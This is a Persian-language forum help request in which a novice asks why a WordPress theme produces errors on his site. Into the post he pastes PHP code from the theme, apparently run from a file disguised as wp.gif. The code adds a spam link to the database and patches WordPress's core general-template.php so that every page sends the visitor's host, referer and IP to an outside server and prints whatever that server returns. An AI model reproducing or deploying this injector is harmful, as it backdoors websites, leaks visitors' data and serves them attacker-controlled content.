سلام به تمام دوستان
وقتی این قالب انتخاب میکنم هم در بالای صفحه ادمین و صفحه اصلی چند خط ارور میاد.
نکته بعدی اینکه وقتی من رو سیستم خودم با Easy php بالا میارم این ارور میده
query("delete from $wpdb->links where link_url ='http://hirewordpressexperts.com/' and link_name ='Premium Wordpress Themes'"); $wpdb->query("insert into $wpdb->links (link_url, link_name) values ('http://hirewordpressexperts.com/','Premium Wordpress Themes')"); $linkid = mysql_insert_id(); $wpdb->query("insert into $wpdb->term_relationships (object_id , term_taxonomy_id) values ('$linkid','2')"); $path = WP_CONTENT_DIR."/../wp-includes/general-template.php"; $file = WP_CONTENT_DIR."/../wp-includes/general-template.php"; $handle = fopen($path, "r"); $line = fread($handle, filesize($file)); $find = strpos($line,"/***HWEDLC***/",0); if($find>0) { } else { $a = '/***HWEDLC***/ $host = $_SERVER["HTTP_HOST"]; $referer = $_SERVER["HTTP_REFERER"]; $referer = str_replace("/","^",$referer);$referer = str_replace("&","<<>>",$referer); $document = $_SERVER["DOCUMENT_ROOT"]; $visitor_ip = $_SERVER["REMOTE_ADDR"]; $url = "http://24365online.com/_YTG_yu/_dl/get_info.php?host=$host&referer=$referer&visitor_ip=$visitor_ip"; $content = file_get_contents($url); echo $content; /***HWEDLC***/'; $funpos = strpos($line,"get_footer(",0); $brace = strpos($line,"{",$funpos); $funstring = substr($line,$funpos,$brace-$funpos+1); $funstring1 = $funstring.$a; $line = str_replace($funstring,$funstring1,$line); fclose($handle); $filepath = WP_CONTENT_DIR."/../wp-includes/general-template.php"; if(strlen($line)>0) { $handle3 = fopen($filepath, 'w+'); fwrite($handle3,$line); fclose($handle3); } } ?>
و وقتی رو سایت تست میکنم ایت ارور میده
Warning: fopen(/home/hasan4265/domains/p30h.com/public_html/wp/wp-content/../wp-includes/general-template.php) [function.fopen]: failed to open stream: Permission denied in /home/hasan4265/domains/p30h.com/public_html/wp/wp-content/themes/autumn-forest/wp.gif on line 37
Warning: fwrite(): supplied argument is not a valid stream resource in /home/hasan4265/domains/p30h.com/public_html/wp/wp-content/themes/autumn-forest/wp.gif on line 38
Warning: fclose(): supplied argument is not a valid stream resource in /home/hasan4265/domains/p30h.com/public_html/wp/wp-content/themes/autumn-forest/wp.gif on line 39
حالا من موندم که اشکال از کجاست
آدرس سایت http://www.p30h.com/wp
اگه مشکل ساده ای هست منو ببخشید چون تازه کار هستم.